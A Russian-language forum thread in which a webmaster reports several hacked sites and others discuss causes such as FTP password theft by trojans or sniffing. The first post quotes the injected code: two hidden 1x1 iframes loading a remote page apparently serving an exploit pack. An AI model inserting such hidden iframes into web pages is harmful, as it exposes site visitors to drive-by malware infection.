Взломали несколько сайтов :(

[sandao]

Вот и до меня докатилась эта фигня.

Вот такую штуку повесили.

<iframe src=http://al-jawarh.com/dpack/ frameborder="0" width="1" height="1" scrolling="no"></iframe><iframe src=http://al-jawarh.com/dpack/ frameborder="0" width="1" height="1" scrolling="no">

Но взломали как-то криво, что сайты вообще перестали работать, да еще и хостинг подвел. Короче сайты вылетили из гугла.

Вот думаю теперь, арабы какие-то что-ли. Так как сайт ихний хостится тут ad4hosting.com или косит кто-то под них.

[ron63]

да уж, неповезло. хорошо, что обнаружил еще)

[Antibiotic]

ты нашел как взломали то хоть? а то мож шелл у тебя там лежит до сих пор

[sandao]

ты нашел как взломали то хоть? а то мож шелл у тебя там лежит до сих пор

Нет не искал, свалил от того хостера, сейчас сижу восстанавливаю в другом месте эти сайты.

[azgard]

возможно у тебя трой , тянет твои фтп пароли и не только

[sandao]

возможно у тебя трой , тянет твои фтп пароли и не только

Стараюсь проверять компьютер. Думаю вряд ли т.к. в других местах ничего подобного не было, а тут если бы у них были пароли то придумали бы что нибудь получше, а так ковыряли пока сайты вообще перестали работать.

А вообще проверю сейчас компьютер.

[medar]

Скорее всего причина таких аттак - именно сниф твоего ftp-пароля, а не "взлом провайдера". Он передается в незашифрованном виде, достаточно повесить прослушку на 21 порт и всё. Трой пишется под заказ, он корректный и тихий, антивирусами как правило не палится.

Код вставляется автоматом, но так как все движки разные - многие он просто корежит.

[sandao]

Скорее всего причина таких аттак - именно сниф твоего ftp-пароля

У меня не один пароль, но проблемы были пока только в одном месте, поэтому все же надеюсь, что причина не в этом.

[Dr.Gonzo]

А фтп-клиент какой? В нём не ставил галочку "запомнить пароль"?

Вообще - надо было не валить от хостера, а попросить у них логи захода на твой фтп.

[Dem0kratizat0r]

Сообщение от sandao

Нет не искал, свалил от того хостера, сейчас сижу восстанавливаю в другом месте эти сайты.

Пральна сделал. Часто такие пидарасы ломают целые хостинг тачки и ифреймят скриптами всё подряд.

ПС
а потом всякие мудланы топики создают "продам 100к ифрейм трафа юсы"